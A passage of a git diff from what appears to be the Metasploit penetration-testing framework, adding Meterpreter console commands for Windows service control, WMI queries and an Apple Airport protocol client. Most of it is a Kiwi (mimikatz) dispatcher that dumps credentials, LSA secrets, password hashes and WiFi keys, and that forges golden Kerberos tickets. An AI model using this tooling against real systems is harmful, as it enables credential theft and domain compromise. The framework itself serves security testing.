"#{to_table_row(v[:value]).join(", ")}" + + # we'll truncate the output of the array because it could be excessive if we + # don't. Users who want the detail of this stuff should probably script it. + if val.length > 50 + val = "<#{val[0,50]}..." + end + + values << val + when :dn + values << "#{value[:label]}: #{value[:string] || Rex::Text.to_hex(value[:raw], '')}" + when :path + values << "Vol: #{v[:volume]}, Path: #{v[:path]}, Type: #{v[:vol_type]}" + when :unknown + values << "(unknown)" + end + end + + values + end + end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb index 7896e10a3a..5b0895fb2c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb @@ -22,8 +22,9 @@ class Console::CommandDispatcher::Extapi::Service # def commands { - "service_enum" => "Enumerate all registered Windows services", - "service_query" => "Query more detail about a specific Windows service" + "service_enum" => "Enumerate all registered Windows services", + "service_query" => "Query more detail about a specific Windows service", + "service_control" => "Control a single service (start/pause/resume/stop/restart)" } end @@ -33,6 +34,32 @@ class Console::CommandDispatcher::Extapi::Service def name "Extapi: Service Management" end + + # + # Initialize the instance + # + def initialize(shell) + super + + @status_map = { + 1 => "Stopped", + 2 => "Starting", + 3 => "Stopping", + 4 => "Running", + 5 => "Continuing", + 6 => "Pausing", + 7 => "Paused" + } + + @start_type_map = { + 0 => "Boot", + 1 => "System", + 2 => "Automatic", + 3 => "Manual", + 4 => "Disabled" + } + end + # # Options for the service_enum command. # @@ -44,7 +71,7 @@ class Console::CommandDispatcher::Extapi::Service # Query a single service for more detail. # def cmd_service_enum(*args) - @@service_enum_opts.parse(args) { |opt, idx, val| + @@service_enum_opts.parse(args) do |opt, idx, val| case opt when "-h" print( @@ -55,17 +82,7 @@ class Console::CommandDispatcher::Extapi::Service "able to interact with the desktop.\n\n") return true end - } - - status_map = { - 1 => "Stopped", - 2 => "Starting", - 3 => "Stopping", - 4 => "Running", - 5 => "Continuing", - 6 => "Pausing", - 7 => "Paused" - } + end services = client.extapi.service.enumerate @@ -78,14 +95,14 @@ class Console::CommandDispatcher::Extapi::Service ] ) - services.each { |s| + services.each do |s| table << [ s[:pid], - status_map[s[:status]], + @status_map[s[:status]], s[:interactive] ? "Y" : "N", "#{s[:name].downcase} (#{s[:display]})" ] - } + end print_line print_line(table.to_s) @@ -107,9 +124,9 @@ class Console::CommandDispatcher::Extapi::Service # Query a single service for more detail. # def cmd_service_query(*args) - args << "-h" if args.length == 0 + args.unshift("-h") if args.length != 1 - @@service_query_opts.parse(args) { |opt, idx, val| + @@service_query_opts.parse(args) do |opt, idx, val| case opt when "-h" print( @@ -119,25 +136,18 @@ class Console::CommandDispatcher::Extapi::Service "binary path, DACL, load order group, start type and more.\n\n") return true end - } + end service_name = args.shift - start_type_map = { - 0 => "Boot", - 1 => "System", - 2 => "Automatic", - 3 => "Manual", - 4 => "Disabled" - } - detail = client.extapi.service.query(service_name) print_line print_line("Name : #{service_name}") print_line("Display : #{detail[:display]}") print_line("Account : #{detail[:startname]}") - print_line("Start Type : #{start_type_map[detail[:starttype]]}") + print_line("Status : #{@status_map[detail[:status]]}") + print_line("Start Type : #{@start_type_map[detail[:starttype]]}") print_line("Path : #{detail[:path]}") print_line("L.O. Group : #{detail[:logroup]}") print_line("Interactive : #{detail[:interactive] ? "Yes" : "No"}") @@ -146,6 +156,39 @@ class Console::CommandDispatcher::Extapi::Service end + # + # Options for the service_control command. + # + @@service_control_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Query a single service for more detail. + # + def cmd_service_control(*args) + args.unshift("-h") if args.length != 2 + + @@service_control_opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print( + "\nUsage: service_control [-h] <servicename> <op>\n" + + " <servicename> : The name of the service to control.\n" + + " <op> : The operation to perform on the service.\n" + + " Valid ops: start pause resume stop restart.\n\n") + return true + end + end + + service_name = args[0] + op = args[1] + + client.extapi.service.control(service_name, op) + + print_good("Operation #{op} succeeded.") + end + end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb new file mode 100644 index 0000000000..d4670fb42b --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Extended API WMI Querying interface. +# +### +class Console::CommandDispatcher::Extapi::Wmi + + Klass = Console::CommandDispatcher::Extapi::Wmi + + include Console::CommandDispatcher + + # Zero indicates "no limit" + DEFAULT_MAX_RESULTS = 0 + DEFAULT_PAGE_SIZE = 0 + + # + # List of supported commands. + # + def commands + { + "wmi_query" => "Perform a generic WMI query and return the results" + } + end + + # + # Name for this dispatcher + # + def name + "Extapi: WMI Querying" + end + + # + # Options for the wmi_query command. + # + @@wmi_query_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-r" => [ true, "Specify a different root object (defaults to 'root\\CIMV2')" ] + ) + + def wmi_query_usage + print( + "\nUsage: wmi_query <query string> [-r root]\n\n" + + "Query the target and display the results.\n\n" + + @@wmi_query_opts.usage) + end + + # + # Enumerate WMI objects. + # + def cmd_wmi_query(*args) + args.unshift("-h") if args.length < 1 + + root = nil + + @@wmi_query_opts.parse(args) { |opt, idx, val| + case opt + when "-r" + root = val + when "-h" + wmi_query_usage + return true + end + } + + query = args.shift + + objects = client.extapi.wmi.query(query, root) + + if objects + table = Rex::Ui::Text::Table.new( + 'Header' => query, + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => objects[:fields] + ) + + objects[:values].each do |c| + table << c + end + + print_line + print_line(table.to_s) + + print_line("Total objects: #{objects[:values].length}") + else + print_status("The WMI query yielded no results.") + end + + print_line + + return true + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb index 7f22f14d2f..921d176e9a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb @@ -221,7 +221,7 @@ class Console::CommandDispatcher::Incognito end def system_privilege_check - if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM") + unless client.sys.config.is_system? print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available") print_line(" Call rev2self if primary process token is SYSTEM") end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb new file mode 100644 index 0000000000..628df53d87 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -0,0 +1,509 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Kiwi extension - grabs credentials from windows memory. +# +# Benjamin DELPY `gentilkiwi` +# http://blog.gentilkiwi.com/mimikatz +# +# extension converted by OJ Reeves (TheColonial) +# +### +class Console::CommandDispatcher::Kiwi + + Klass = Console::CommandDispatcher::Kiwi + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + "Kiwi" + end + + # + # Initializes an instance of the priv command interaction. This function + # also outputs a banner which gives proper acknowledgement to the original + # author of the Mimikatz 2.0 software. + # + def initialize(shell) + super + print_line + print_line + print_line(" .#####. mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"") + print_line(" .## ^ ##.") + print_line(" ## / \\ ## /* * *") + print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )") + print_line(" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)") + print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") + print_line + + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + + print_line + print_warning "Loaded x86 Kiwi on an x64 architecture." + end + end + + # + # List of supported commands. + # + def commands + { + "creds_wdigest" => "Retrieve WDigest creds", + "creds_msv" => "Retrieve LM/NTLM creds (hashes)", + "creds_livessp" => "Retrieve LiveSSP creds", + "creds_ssp" => "Retrieve SSP creds", + "creds_tspkg" => "Retrieve TsPkg creds", + "creds_kerberos" => "Retrieve Kerberos creds", + "creds_all" => "Retrieve all credentials", + "golden_ticket_create" => "Create a golden kerberos ticket", + "kerberos_ticket_use" => "Use a kerberos ticket", + "kerberos_ticket_purge" => "Purge any in-use kerberos tickets", + "kerberos_ticket_list" => "List all kerberos tickets", + "lsa_dump" => "Dump LSA secrets", + "wifi_list" => "List wifi profiles/creds" + } + end + + # + # Invoke the LSA secret dump on thet target. + # + def cmd_lsa_dump(*args) + check_privs + + print_status("Dumping LSA secrets") + lsa = client.kiwi.lsa_dump + + # the format of this data doesn't really lend itself nicely to + # use within a table so instead we'll dump in a linear fashion + + print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major] + print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname] + print_line("System Key : #{to_hex(lsa[:syskey])}") + print_line("NT5 Key : #{to_hex(lsa[:nt5key])}") + print_line + print_line("NT6 Key Count : #{lsa[:nt6keys].length}") + + if lsa[:nt6keys].length > 0 + lsa[:nt6keys].to_enum.with_index(1) do |k, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. ID : #{Rex::Text::to_guid(k[:id])}") + print_line("#{index}. Value : #{to_hex(k[:value])}") + end + end + + print_line + print_line("Secret Count : #{lsa[:secrets].length}") + if lsa[:secrets].length > 0 + lsa[:secrets].to_enum.with_index(1) do |s, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. Name : #{s[:name]}") + print_line("#{index}. Service : #{s[:service]}") if s[:service] + print_line("#{index}. NTLM : #{to_hex(s[:ntlm])}") if s[:ntlm] + if s[:current] || s[:current_raw] + current = s[:current] || to_hex(s[:current_raw], ' ') + print_line("#{index}. Current : #{current}") + end + if s[:old] || s[:old_raw] + old = s[:old] || to_hex(s[:old_raw], ' ') + print_line("#{index}. Old : #{old}") + end + end + end + + print_line + print_line("SAM Key Count : #{lsa[:samkeys].length}") + if lsa[:samkeys].length > 0 + lsa[:samkeys].to_enum.with_index(1) do |s, i| + print_line + index = i.to_s.rjust(2, ' ') + print_line("#{index}. RID : #{s[:rid]}") + print_line("#{index}. User : #{s[:user]}") + print_line("#{index}. LM Hash : #{to_hex(s[:lm_hash])}") + print_line("#{index}. NTLM Hash : #{to_hex(s[:ntlm_hash])}") + end + end + + print_line + end + + # + # Valid options for the golden ticket creation functionality. + # + @@golden_ticket_create_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-u" => [ true, "Name of the user to create the ticket for" ], + "-i" => [ true, "ID of the user to associate the ticket with" ], + "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ], + "-d" => [ true, "Name of the target domain (FQDN)" ], + "-k" => [ true, "krbtgt domain user NTLM hash" ], + "-t" => [ true, "Local path of the file to store the ticket in" ], + "-s" => [ true, "SID of the domain" ] + ) + + # + # Output the usage for the ticket listing functionality. + # + def golden_ticket_create_usage + print( + "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" + + "Create a golden kerberos ticket that expires in 10 years time.\n\n" + + @@golden_ticket_create_opts.usage) + end + + # + # Invoke the golden kerberos ticket creation functionality on the target. + # + def cmd_golden_ticket_create(*args) + if args.include?("-h") + golden_ticket_create_usage + return + end + + user = nil + domain = nil + sid = nil + tgt = nil + target = nil + id = 0 + group_ids = [] + + @@golden_ticket_create_opts.parse(args) { |opt, idx, val| + case opt + when "-u" + user = val + when "-d" + domain = val + when "-k" + tgt = val + when "-t" + target = val + when "-i" + id = val.to_i + when "-g" + group_ids = val.split(',').map { |g| g.to_i }.to_a + when "-s" + sid = val + end + } + + # all parameters are required + unless user && domain && sid && tgt && target + golden_ticket_create_usage + return + end + + ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) + + ::File.open( target, 'wb' ) do |f| + f.write ticket + end + + print_good("Golden Kerberos ticket written to #{target}") + end + + # + # Valid options for the ticket listing functionality. + # + @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-e" => [ false, "Export Kerberos tickets to disk" ], + "-p" => [ true, "Path to export Kerberos tickets to" ] + ) + + # + # Output the usage for the ticket listing functionality. + # + def kerberos_ticket_list_usage + print( + "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" + + "List all the available Kerberos tickets.\n\n" + + @@kerberos_ticket_list_opts.usage) + end + + # + # Invoke the kerberos ticket listing functionality on the target machine. + # + def cmd_kerberos_ticket_list(*args) + if args.include?("-h") + kerberos_ticket_list_usage + return + end + + # default to not exporting + export = false + # default to the current folder for dumping tickets + export_path = "." + + @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| + case opt + when "-e" + export = true + when "-p" + export_path = val + end + } + + tickets = client.kiwi.kerberos_ticket_list(export) + + fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags'] + fields << 'Export Path' if export + + table = Rex::Ui::Text::Table.new( + 'Header' => "Kerberos Tickets", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => fields + ) + + tickets.each do |t| + flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ") + values = [ + "#{t[:server]} @ #{t[:server_realm]}", + "#{t[:client]} @ #{t[:client_realm]}", + t[:start], + t[:end], + t[:max_renew], + "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})" + ] + + # write out each ticket to disk if export is enabled. + if export + path = "<no data retrieved>" + if t[:raw] + id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-') + file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt" + path = ::File.expand_path(File.join(export_path, file)) + ::File.open(path, 'wb') do |x| + x.write t[:raw] + end + end + values << path + end + + table << values + end + + print_line + print_line(table.to_s) + print_line("Total Tickets : #{tickets.length}") + end + + # + # Invoke the kerberos ticket purging functionality on the target machine. + # + def cmd_kerberos_ticket_purge(*args) + client.kiwi.kerberos_ticket_purge + print_good("Kerberos tickets purged") + end + + # + # Use a locally stored Kerberos ticket in the current session. + # + def cmd_kerberos_ticket_use(*args) + if args.length != 1 + print_line("Usage: kerberos_ticket_use ticketpath") + return + end + + target = args[0] + ticket = '' + ::File.open(target, 'rb') do |f| + ticket += f.read(f.stat.size) + end + + print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") + client.kiwi.kerberos_ticket_use(ticket) + print_good("Kerberos ticket applied successfully") + end + + def wifi_list_usage + print( + "\nUsage: wifi_list\n\n" + + "List WiFi interfaces, profiles and passwords.\n\n") + end + + # + # Dump all the wifi profiles/credentials + # + def cmd_wifi_list(*args) + # if any arguments are specified, then fire up a usage message + if args.length > 0 + wifi_list_usage + return + end + + results = client.kiwi.wifi_list + + if results.length > 0 + results.each do |r| + table = Rex::Ui::Text::Table.new( + 'Header' => "#{r[:desc]} - #{r[:guid]}", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Name', 'Auth', 'Type', 'Shared Key' + ] + ) + + print_line + r[:profiles].each do |p| + table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] + end + + print_line table.to_s + print_line "State: #{r[:state]}" + end + else + print_line + print_error("No wireless profiles found on the target.") + end + + print_line + return true + end + + # + # Dump all the possible credentials to screen. + # + def cmd_creds_all(*args) + method = Proc.new { client.kiwi.all_pass } + scrape_passwords("all", method) + end + + # + # Dump all wdigest credentials to screen. + # + def cmd_creds_wdigest(*args) + method = Proc.new { client.kiwi.wdigest } + scrape_passwords("wdigest", method) + end + + # + # Dump all msv credentials to screen. + # + def cmd_creds_msv(*args) + method = Proc.new { client.kiwi.msv } + scrape_passwords("msv", method) + end + + # + # Dump all LiveSSP credentials to screen. + # + def cmd_creds_livessp(*args) + method = Proc.new { client.kiwi.livessp } + scrape_passwords("livessp", method) + end + + # + # Dump all SSP credentials to screen. + # + def cmd_creds_ssp(*args) + method = Proc.new { client.kiwi.ssp } + scrape_passwords("ssp", method) + end + + # + # Dump all TSPKG credentials to screen. + # + def cmd_creds_tspkg(*args) + method = Proc.new { client.kiwi.tspkg } + scrape_passwords("tspkg", method) + end + + # + # Dump all Kerberos credentials to screen. + # + def cmd_creds_kerberos(*args) + method = Proc.new { client.kiwi.kerberos } + scrape_passwords("kerberos", method) + end + +protected + + def check_privs + if system_check + print_good("Running as SYSTEM") + else + print_warning("Not running as SYSTEM, execution may fail") + end + end + + def system_check + unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") + print_warning("Not currently running as SYSTEM") + return false + end + + return true + end + + # + # Invoke the password scraping routine on the target. + # + # @param provider [String] The name of the type of credentials to dump + # (used for display purposes only). + # @param method [Proc] Block that calls the method that invokes the + # appropriate function on the client that returns the results from + # Meterpreter that lay in the house that Jack built. + # + # @return [void] + def scrape_passwords(provider, method) + check_privs + print_status("Retrieving #{provider} credentials") + accounts = method.call + + table = Rex::Ui::Text::Table.new( + 'Header' => "#{provider} credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash' + ] + ) + + accounts.each do |acc| + table << [ + acc[:domain] || "", + acc[:username] || "", + acc[:password] || "", + "#{acc[:auth_hi]} ; #{acc[:auth_lo]}", + to_hex(acc[:lm] || ""), + to_hex(acc[:ntlm] || "") + ] + end + + print_line table.to_s + return true + end + + # + # Helper function to convert a potentially blank value to hex and have + # the outer spaces stripped + # + # @param (see Rex::Text.to_hex) + # @return [String] The result of {Rex::Text.to_hex}, strip'd + def to_hex(value, sep = '') + value ||= "" + Rex::Text.to_hex(value, sep).strip + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index d03ca4a54b..b131e7cf44 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -503,10 +503,17 @@ class Console::CommandDispatcher::Stdapi::Fs client.framework.events.on_session_upload(client, src, dest) if msf_loaded? } elsif (stat.file?) - client.fs.file.upload(dest, src) { |step, src, dst| - print_status("#{step.ljust(11)}: #{src} -> #{dst}") - client.framework.events.on_session_upload(client, src, dest) if msf_loaded? - } + if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory? + client.fs.file.upload(dest, src) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_upload(client, src, dest) if msf_loaded? + } + else + client.fs.file.upload_file(dest, src) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_upload(client, src, dest) if msf_loaded? + } + end end } diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index fd8fe65353..48c7d8fa63 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Sys "getpid" => "Get the current process identifier", "getprivs" => "Attempt to enable all privileges available to the current process", "getuid" => "Get the user that the server is running as", + "getsid" => "Get the SID of the user that the server is running as", "getenv" => "Get one or more environment variable values", "kill" => "Terminate a process", "ps" => "List running processes", @@ -107,6 +108,7 @@ class Console::CommandDispatcher::Stdapi::Sys "getpid" => [ "stdapi_sys_process_getpid" ], "getprivs" => [ "stdapi_sys_config_getprivs" ], "getuid" => [ "stdapi_sys_config_getuid" ], + "getsid" => [ "stdapi_sys_config_getsid" ], "getenv" => [ "stdapi_sys_config_getenv" ], "kill" => [ "stdapi_sys_process_kill" ], "ps" => [ "stdapi_sys_process_get_processes" ], @@ -279,6 +281,13 @@ class Console::CommandDispatcher::Stdapi::Sys print_line("Server username: #{client.sys.config.getuid}") end + # + # Display the SID of the user that the server is running as. + # + def cmd_getsid(*args) + print_line("Server SID: #{client.sys.config.getsid}") + end + # # Get the value of one or more environment variables from the target. # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 5661c29ed4..046ad66371 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -150,7 +150,7 @@ class Console::CommandDispatcher::Stdapi::Ui when "-p" path = val when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + view = true if ( val =~ /^(t|y|1)/i ) end } diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index 923fa4626d..dbfd86c47e 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -5,6 +5,7 @@ require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/proto/drda' require 'rex/proto/iax2' +require 'rex/proto/kerberos' module Rex module Proto diff --git a/lib/rex/proto/acpp.rb b/lib/rex/proto/acpp.rb new file mode 100644 index 0000000000..2cd7b083e4 --- /dev/null +++ b/lib/rex/proto/acpp.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- +# +# Support for the protocol used by Apple Airport products, typically on +# 5009/TCP. This protocol is not documented and doesn't appear to have a name, +# so I'm calling it ACPP because that is the protocol header. +# + +require 'rex/proto/acpp/client' +require 'rex/proto/acpp/message' + +module Rex + module Proto + module ACPP + DEFAULT_PORT = 5009 + end + end +end diff --git a/lib/rex/proto/acpp/client.rb b/lib/rex/proto/acpp/client.rb new file mode 100644 index 0000000000..caedaa6a5c --- /dev/null +++ b/lib/rex/proto/acpp/client.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +## +# ACPP protocol support +## + +module Rex +module Proto +module ACPP + +class Client + + def initialize(sock, opts = {}) + @sock = sock + @opts = opts + end + + def authenticate(password = 'public') + login = Message.new + login.password = password + login.type = 20 + @sock.put(login.to_s) + # TODO: the checksum never validates here + Message.decode(@sock.get_once(128), false) + end +end +end +end +end diff --git a/lib/rex/proto/acpp/message.rb b/lib/rex/proto/acpp/message.rb new file mode 100644 index 0000000000..bb526d4508 --- /dev/null +++ b/lib/rex/proto/acpp/message.rb @@ -0,0 +1,183 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module ACPP + # From what I've been able to gather from the very limited findings on the + # web about this protocol, playing with it against a real Airport device and + # referencing the airport-utils package in Debian/Ubuntu, the format of (at + # least) the login message is: + # + # acpp # the header tag, always exactly acpp (4 bytes) + # unknown1 # unknown 4-byte field. Almost always 0x00000001 + # messageChecksum # checksum of the message, 4 bytes + # payloadChecksum # checksum of the payload, 4 bytes + # payloadSize # size of the payload, 4 bytes + # unknown2 # unknown 8-byte field. probably some sort of + # request/response identifier. generally 0 for requests, 1 for replies + # messageType # the type of message, 4 bytes. see below. + # status # the status of this message, 4 bytes. + # generally 0 for success and !0 for failure. + # unknown3 # unknown 12-byte field, seemingly always 0. Probably 'reserved' + # password # 32-byte password, 'encrypted' by XOR'ing it with a 256-byte static key (see XOR_KEY) + # unknown4 # unknown 48-byte field, always 0. + # + # There are several possible message types: + # + # * 20 -- retrieve settings (payload is some list of settings to obtain) + # * 21 -- update setttings (and if the 'acRB' setting is set, it reboots) + # * 3 -- Upload firmware + # + # TODO: if you find more, add them above. + # + # When the message type is anything other than 20 or 3, payloadSize is set to -1 and + # payloadChecksum is set to 1. It may be a bug that 21 doesn't look at the + # checksum. Adler32 is used to compute the checksum. + # + # The message payload is a bit of an unknown right now, as it *seems* like + # the payload always comes in a subsequent request. Simply appending + # a payload to the existing message does not appear to work (but this needs + # more testing) + + # This was taken from airport-util's AirportInforRecord for ease of copying, but can + # also be obtained by XOR'ing the null-padded known plain text with the appropriate 32-byte + # ciphertext from an airport-util request + XOR_KEY = [ + 14, 57, -8, 5, -60, 1, 85, 79, 12, -84, + -123, 125, -122, -118, -75, 23, 62, 9, -56, 53, + -12, 49, 101, 127, 60, -100, -75, 109, -106, -102, + -91, 7, 46, 25, -40, 37, -28, 33, 117, 111, + 44, -116, -91, -99, 102, 106, 85, -9, -34, -23, + 40, -43, 20, -47, -123, -97, -36, 124, 85, -115, + 118, 122, 69, -25, -50, -7, 56, -59, 4, -63, + -107, -113, -52, 108, 69, -67, 70, 74, 117, -41, + -2, -55, 8, -11, 52, -15, -91, -65, -4, 92, + 117, -83, 86, 90, 101, -57, -18, -39, 24, -27, + 36, -31, -75, -81, -20, 76, 101, -35, 38, 42, + 21, -73, -98, -87, 104, -107, 84, -111, -59, -33, + -100, 60, 21, -51, 54, 58, 5, -89, -114, -71, + 120, -123, 68, -127, -43, -49, -116, 44, 5, -3, + 6, 10, 53, -105, -66, -119, 72, -75, 116, -79, + -27, -1, -68, 28, 53, -19, 22, 26, 37, -121, + -82, -103, 88, -91, 100, -95, -11, -17, -84, 12, + 37, 29, -26, -22, -43, 119, 94, 105, -88, 85, + -108, 81, 5, 31, 92, -4, -43, 13, -10, -6, + -59, 103, 78, 121, -72, 69, -124, 65, 21, 15, + 76, -20, -59, 61, -58, -54, -11, 87, 126, 73, + -120, 117, -76, 113, 37, 63, 124, -36, -11, 45, + -42, -38, -27, 71, 110, 89, -104, 101, -92, 97, + 53, 47, 108, -52, -27, 93, -90, -86, -107, 55, + 30, 41, -24, 21, -44, 17, 69, 95, 28, -68, + -107, 77, -74, -70, -123, 39 + ].pack("C*") + + class Message + # @return [Integer] the type of this message + attr_accessor :type + # @return [String] the password to attempt to authenticate with + attr_accessor :password + # @return [String] the optional message payload + attr_accessor :payload + # @return [Integer] the status of this message + attr_accessor :status + + def initialize + @payload = '' + @type = 0 + @status = 0 + @password = '' + @unknown1 = 1 + @unknown2 = '' + @unknown3 = '' + @unknown4 = '' + end + + # Determines if this message has a successful status code + # + # @return [Boolean] true iff @status is 0, false otherwise + def successful? + @status == 0 + end + + # Get this Message as a String + # + # @return [String] the string representation of this Message + def to_s + with_checksum(Zlib.adler32(with_checksum(0))) + end + + # Compares this Message and another Message for equality + # + # @param other [Message] the Message to compare + # @return [Boolean] true iff the two messages are equal, false otherwise + def ==(other) + other.type == @type && + other.status == @status && + other.password == @password && + other.payload == @payload + end + + # Decodes the provided data into a Message + # + # @param data [String] the data to parse as a Message + # @param validate_checksum [Boolean] true to validate the message and + # payload checksums, false to not. Defaults to true. + # @return [Message] the decoded Message + def self.decode(data, validate_checksum = true) + data = data.dup + fail "Incorrect ACPP message size #{data.size} -- must be 128" unless data.size == 128 + fail 'Unexpected header' unless 'acpp' == data.slice!(0, 4) + _unknown1 = data.slice!(0, 4) + read_message_checksum = data.slice!(0, 4).unpack('N').first + read_payload_checksum = data.slice!(0, 4).unpack('N').first + _read_payload_size = data.slice!(0, 4).unpack('N').first + _unknown2 = data.slice!(0, 8) + type = data.slice!(0, 4).unpack('N').first + status = data.slice!(0, 4).unpack('N').first + _unknown3 = data.slice!(0, 12) + password = Rex::Encoding::Xor::Generic.encode(data.slice!(0, 32), XOR_KEY).first.strip + _unknown4 = data.slice!(0, 48) + payload = data + m = new + m.type = type + m.password = password + m.status = status + m.payload = payload + + # we can now validate the checksums if desired + if validate_checksum + actual_message_checksum = Zlib.adler32(m.with_checksum(0)) + if actual_message_checksum != read_message_checksum + fail "Invalid message checksum (expected #{read_message_checksum}, calculated #{actual_message_checksum})" + end + # I'm not sure this can ever happen -- if the payload checksum is wrong, then the + # message checksum will also be wrong. So, either I misunderstand the protocol + # or having two checksums is useless + actual_payload_checksum = Zlib.adler32(payload) + if actual_payload_checksum != read_payload_checksum + fail "Invalid payload checksum (expected #{read_payload_checksum}, calculated #{actual_payload_checksum})" + end + end + m + end + + def with_checksum(message_checksum) + [ + 'acpp', + @unknown1, + message_checksum, + Zlib.adler32(@payload), + @payload.size, + @unknown2, + @type, + @status, + @unknown3, + Rex::Encoding::Xor::Generic.encode([@password].pack('a32').slice(0, 32), XOR_KEY).first, + @unknown4, + payload + ].pack('a4NNNNa8NNa12a32a48a*') + end + end +end +end +end diff --git a/lib/rex/proto/dcerpc/ndr.rb b/lib/rex/proto/dcerpc/ndr.rb index f730378085..2129adae0f 100644 --- a/lib/rex/proto/dcerpc/ndr.rb +++ b/lib/rex/proto/dcerpc/ndr.rb @@ -34,7 +34,7 @@ class NDR # byte element_1; def self.byte(string) warn 'should be using Rex::Encoder::NDR' - return [string].pack('c') + return [string].pack('C') end # Encode a byte array diff --git a/lib/rex/proto/dcerpc/svcctl.rb b/lib/rex/proto/dcerpc/svcctl.rb new file mode 100644 index 0000000000..9896c8b8de --- /dev/null +++ b/lib/rex/proto/dcerpc/svcctl.rb @@ -0,0 +1,2 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/svcctl/packet' diff --git a/lib/rex/proto/dcerpc/svcctl/packet.rb b/lib/rex/proto/dcerpc/svcctl/packet.rb new file mode 100644 index 0000000000..6d27f6b849 --- /dev/null +++ b/lib/rex/proto/dcerpc/svcctl/packet.rb @@ -0,0 +1,304 @@ +# -*- coding: binary -*- +module Rex + +### +# This module implements MSRPC functions that control creating, deleting, +# starting, 